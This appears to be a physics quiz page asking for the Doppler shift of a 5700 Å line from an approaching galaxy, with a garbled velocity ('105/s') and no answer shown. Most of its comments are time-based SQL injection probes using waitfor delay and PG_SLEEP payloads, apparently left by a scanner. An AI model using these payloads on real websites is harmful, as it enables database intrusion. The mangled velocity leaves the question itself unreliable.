A galaxy is approaching the earth with a velocity of 105/s. As observed on the earth, the shift in the spectral line of wavelength 5700 Å will be
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19 thoughts on "A galaxy is approaching the earth with a velocity of 105/s. As observed on the earth, the shift in the spectral line of wavelength 5700 Å will be"
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7BZQuwFN
-1 OR 3+321-321-1=0+0+0+1
50sZiaJP’; waitfor delay ‘0:0:15’ —
-5 OR 579=(SELECT 579 FROM PG_SLEEP(15))–
-5) OR 414=(SELECT 414 FROM PG_SLEEP(15))–
-1)) OR 941=(SELECT 941 FROM PG_SLEEP(15))–
zxaytFdv’ OR 486=(SELECT 486 FROM PG_SLEEP(15))–
4AFOys2A’) OR 519=(SELECT 519 FROM PG_SLEEP(15))–
MMCCYqgb’)) OR 146=(SELECT 146 FROM PG_SLEEP(15))–
can anyone explain me the real formula to calculate it’s value